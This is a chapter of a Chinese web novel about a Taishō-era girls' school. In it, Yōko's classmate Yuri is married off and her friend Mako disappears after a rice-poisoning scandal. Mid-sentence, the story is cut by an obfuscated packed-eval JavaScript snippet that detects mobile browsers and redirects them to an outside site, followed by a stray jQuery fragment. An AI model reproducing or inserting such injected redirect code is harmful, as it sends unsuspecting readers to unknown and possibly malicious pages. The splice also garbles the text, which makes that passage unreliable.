“最近还好吗？”
“还好，谢谢阳子关心。还有，好久不见。”
阳子再次见到由理来上课，是近一周后。对方松垮垮地裹在初春的短外套里，原本圆润的小脸变本加厉地瘦了一圈，显出生鸭蛋那般发青的白，薄薄的唇也毫无血色。黯然无光的哀怜的眼神仿佛在说：自己又变回孑然一身了。
对外的缺课理由是不小心吹风受了寒，因此生了一场大病。从对方勉强的笑容上，阳子知道没那么简单。
午休时，从由理那里阳子得知了堇子已离开日本赴法的消息，立刻就明白是怎么一回事。
“之后呢？”
“……什么之后？”
“前辈没有留下新地址吗？”
“法国那里的地址，倒是有一个。”由理迟疑着。
“原来如此啊。”
阳子内心感到安慰。从旁观者视角，她猜测堇子不会就这么放着境况不佳的由理不管，无论是出于前辈的责任感还是什么——虽然这样揣摩的立场有些微妙，但她此时已经能够坦然接受、甚至乐于感受那些“特别”的关系性的存在。
堇子与由理就是这样一对特别的Soeurs。
“那就回信吧。留下地址，难道不是希望得到回信的意思吗？”
“还可以继续……吗？”
由理小心翼翼地抬起头，微扬着脑袋，像一只断线的风筝。那神情令阳子实在心中不忍。
“如果不试试看，又怎么知道呢。”
阳子望着窗外大朵盛开的椿花，自顾自地说着。
正如阳子预料的那样，不久后，堇子从海外远道而至的明信片与信件远渡重洋来到了由理手中。明信片上印着巴黎圣母院的手绘图，思念之情写了整整两张纸，仔细地折成了长方块。
由理肉眼可见地一天比一天振作起来，每次收信与回信时，红扑扑的脸上挂满藏不住的雀跃，俨然是恋爱中的少女的模样。回信一次比一次长，内容也一次比一次巨细无靡，从今天上了什么课、遇到什么人、到哪里逛街途中遇见一只三花猫之类，都会仔细地诉说。她全身心的情绪都被那薄薄的几张纸牵动着，愈发明显地表露而出。
但随着时间推移，阳子的不安感也日渐增长。她并不知道堇子是如何对待如此延续下来的书信关系，但某次阳子与由理久违地一同下课，不小心与松平家脸熟的侍卫官打了照面时，她便隐隐觉得，身旁少女正步入极危险的境地。
这天，由理出乎意料地安静。走路时也神思恍惚地盯着脚尖。一开始，阳子以为那是松平家的人跟得很近、令由理内心不舒服的缘故。
“今天子爵家的侍卫官也在背后跟着哪。最近这几周，每周都能见到他们。”
“……不管了，随他们去吧。”
“没问题吗？”
“……”
“由理？由理？你怎么了？”
走在熟悉的小道上，由理突然停在了原地。随后猛地拉住了阳子的衣袖。
“我……我——我想逃走。”
“你……”
“我不想呆在这儿了。我想去法国。”
“由理……”
“爸爸妈妈昨天来东京看我了。”
“然后呢？”
“他们是奉子爵的命令来的，劝我退学，准备嫁人。辉光君从疗养院出来了，马上要回东京来，也就这个月的事了。我、我——”
她的小脸在光线下变得煞白，双唇不自觉地颤抖。
辉光是那个传说中残疾的未婚夫。阳子还是第一次听到这个名字从由理嘴里说出，而她此刻的脸色宛如避蛇蝎般难受。
“由理、由理……你冷静一点。”
阳子扶着她站定，差点就要脱口而出“你在说什么傻话”，最终只是克制地安慰，拍着她因情绪不稳定而上下起伏的背脊。由理一手撑住道旁公用电话间的格子门，好不容易站稳。
一只雀儿飞过来，停在电话间顶棚数秒，又拍拍翅膀离去。
“要是能离开这儿就好了。但是，不能做忘恩负义的人。”
“是啊。背信弃义可不行。”
由理惨然一笑，将手里的提包紧贴在心口。阳子知道那里放着她上一封收到的信。由理一直如此，将堇子的上一封来信随身携带。她突然内心也跟着挫败，如同投入湖水中的小石子，一路直直地沉下去。
半个多月后，由理从学校消失了。但这次不是旷课，而是松平家派人来办理了退学。阳子也很快从父亲那里听说了松平家有人成婚的消息。
阳子的第一反应是，大洋彼岸的堇子是否知道——不，还是不要思考为妙。
身边的座位再次猝不及防空下来。但教室里空下来的座位并不止这一个——女学生读到二三年级中退去嫁人，在这个时代实在是寻常不过。夸张的时候，一个班级到了三年级甚至会少掉近一半人。空下来的桌椅都被收拾得干干净净，仿佛她们读书的痕迹从未存在过。
阳子站在校园里，盯着眼前的花圃。早春的花此时都已开败，枯黄的花瓣零落在土壤里。园丁们尚未来得及更换花朵，花圃里满目衰败景象。
“怎么了？今天这么无精打采的。”
熟悉的自行车铃声传来。阳子回过头，对上真子的笑脸，被拉上后座。扶着真子时，她有些庆幸真子此刻还在身边。
“……由理回家结婚了。我的同桌。”
“哦，就是之前和音乐部长交往的那孩子吧？”
“你也知道么？”
“可不是，那会儿仰慕部长的人可不少，闹得沸沸扬扬的。怎么样，嫁得如何？”
“是有爵位的人家。”
“那很不错嘛。”
“但对方身体有些……”
“哦。但总而言之，算是组建了家庭，作为女人也算圆满了。对吗？”
“真子……很向往婚姻和家庭嘛？”
“才没有呢。只是，大家不都是如此吗？”
“真子在想什么？”
“在想，将来阳子会进入怎样的家庭、拥有怎样的人生……之类的。一定会比由理更幸福。”
“……笨蛋。”
“喂，我是真心的哦。希望阳子幸福。永远像现在这样。不，比现在更幸福。一定得幸福啊，我说你！”
“……”
车子驶入巷道。再次经过熟悉的飘着饭食香味的洋食堂，这次留声机里传来绵软的男声，大煞风景地唱着黄昏时的悲恋。
“……一旦黄昏逼近，怅然若失就是无止无尽。
在忐忑不安的心上，映照出谁的身影？
思念着你，虽然嘴唇并未褪去颜色。
泪水婆娑，今晚夜色逐渐深沉。”
宵闇せまれば悩みは涯なし
みだるる心にうつるは誰が影
君恋し唇あせねど
涙はあふれて今宵も更け行く
黄昏时青灰色的石板路上，悲凉的氛围骤然而起。阳子久未再接下话头。
她此前对毕业结婚之类的事完全无感，但真子方才明显的无心之语却令她颇不自在。尽管那只是客套的场面话，听闻有女孩结婚的消息，社会普罗大众的态度大抵如此。
在这个时代，对年轻女孩而言，从女学校离开就意味着要踏上婚姻的道路了。堇子那样为自身虚无缥缈的梦想出国留学的行为，若无家中长辈支撑，无疑是大逆不道的奇观。
但无论是由理还是姐姐静子，她们对命运袭来时默然接受的姿态，令阳子开始害怕。
——不要。不要发生。那样的事不要降临。
——你也是。
阳子将真子的腰环得更紧了一点。感受到这份亲昵的靠近，对方将腰板挺得更直了些，以便阳子靠得更舒服。
——现在就很幸福了。
但那幸福在时间的界限里严重溢出，如同开了倍速般从指间飞速溜走。
在她们身后，沉甸甸的椿花从枝头吧嗒一声落下，融成艳红的一滩泥。
时光匆匆流逝。又是新的学年，新的开端与告别。踏入上级生领域的阳子在学期伊始被选为了四年级的年级长一职。
但这年的夏季异常闷热多雨，花园里的花也枯败得比往年要早。以至于花道课上，给学生们的花材无论成色还是新鲜度都不及往年。
阳子拿到了边缘干枯发暗的荷叶、雪柳、木莓叶、枫叶与藤本月季的花苞，按自己的审美构思将其依次置于浅水盘中，组合成描绘夏日之景的“盛”花。
“嘶——”
一切按部就班娴熟地进展。唯独最后调整花苞的位置时，阳子的右手在弯折茎杆被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609414|172132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小刺刺中了。尽管只沁出了一丝细微的血珠，阳子依然觉得指尖发麻。
随后，阳子本以为会很快恢复，被刺中的食指却开始肿胀，当天晚些时候甚至肿起了一个小包。肿包到次日终于缓慢地消退，刺痛感却转为间歇性的麻痹，断断续续折磨她本就脆弱的神经。直到连绵不断的雷雨在周五总算停歇，痛感才如抽丝般缓慢消去。
不祥之兆接连袭来。
阳子忍受着指尖微弱的痛感，面无表情踏出校门——开学第一周，真子并没有像往常的每个学期伊始那样，踩着自行车大剌剌地出现在她跟前。
次周周一，午休时间阳子出现在了五年级二班门口，得到的回应是“真子请假了，没有来上课”。阳子强装镇定，放学后独自踏上了回家之路。她的心离开了柔软的云层般的支撑，开始缓慢下坠。
两个星期过去了，真子依然没有出现。阳子不由自主想起由理，又飞快地自我否认。
——不，和由理的情况截然不同。阳子从未听说过真子有什么未婚夫。真子也不是堇子那样的“另类”。阳子固执地坚持着。这份顽固支撑着她的心脏不落入谷底。
但支撑也需要精力和勇气。犹疑数日后，阳子找出了当时真子带她去的米店的地址，提笔给真子写下可谓是第一封正式的信。此前的两人依然维持着朴素传统的见面方式，在假日中的上一次会面时，定下下一次约会的时间与地点；如无意外，上学日则在阳子的放学路上不定期见面。
“给真子，
好几周没有你的消息，因此，姑且正式动笔了。请勿见怪。
最近还好吗？这些日子又闷又热，一直下个不停的雨则更令人烦心。
下一个放晴的假日，我们再一起去日本桥吃荣太楼的山葵馅年糕吧。那儿离你家也不远。
如果能尽快回应就好了。请多保重身体。
绫小路阳子”
由于心中忐忑不安，阳子写得很草率，匆忙按地址寄出。
越是渴望维系平静的日常，“意外”就会愈发突然不期而至。
三天后，阳子还没有收到回信。夜里，静子敲开了阳子的房门。
“虽然不太确定，以防万一你还是看看为好。”
静子递过来一份当日的《朝日新闻》报。其中的社会时事版面，刊登了一则要闻：
横山町二丁目一带几家料亭发生了集体食物中毒事件，数十人被接连送去附近病院洗胃，数人陷入昏迷。中毒者中有华族知名人士，其性质极其恶劣。警方持续多日调查后，披露了中毒原因：料亭制作料理使用的大米中多处检出毒素，疑似人为下毒导致。给料亭持续数年供货的横山町某米店成为首要嫌疑对象。由于下毒者暂未找出，中毒者已联合状告供货方。米店老板已被收监，同时被要求赔付高昂费用，现已处于倒闭状态。
呯咚、呯咚、呯咚——
不长不短的豆腐块新闻，阳子看了许久，几乎要看出个洞来。放下报纸，脆弱的纸张不知不觉被紧攥成一小团，再松开。纸团软绵绵地滚落在两人脚边，然而气氛近乎凝滞，谁也没俯身去捡。
虽然报道隐去了店铺名称，阳子已经从静子微妙的神情中近乎了然。
“还有别的……别的消息吗？”
“你想知道什么？”
“……她呢。”
“谁？”
“……真子。高波真子。在哪里？”
“发生什么事了？”
“真子……消失了。从这学期开始，我一次也没有见到她，也没来学校。”
“这可不太妙。”
静子脸色转为担忧——一向孤傲骄矜的妹妹如此为另一个人牵动心绪的，近几年愈发频繁地出现。姐妹俩一时相对无言。
“……有事想拜托姐姐。”
“总之那孩子的消息，我会留意的。冷静点。”
静子说的是实话。已经和秋月侯爵家订婚的她，作为婚前准备，多了不少需要出席的贵族社交场合，与秋月家交好的贵族间的交际应酬也自然是少不了。相比宛如藏在象牙塔里的白纸般的阳子，现在的静子口气疏淡，头脑清醒，无疑才是可靠的“大人”表现。
“我知道了。”
静子关门离开后，阳子如一尾被扔上岸多时逐渐缺氧窒息的游鱼，无力地瘫倒在床沿。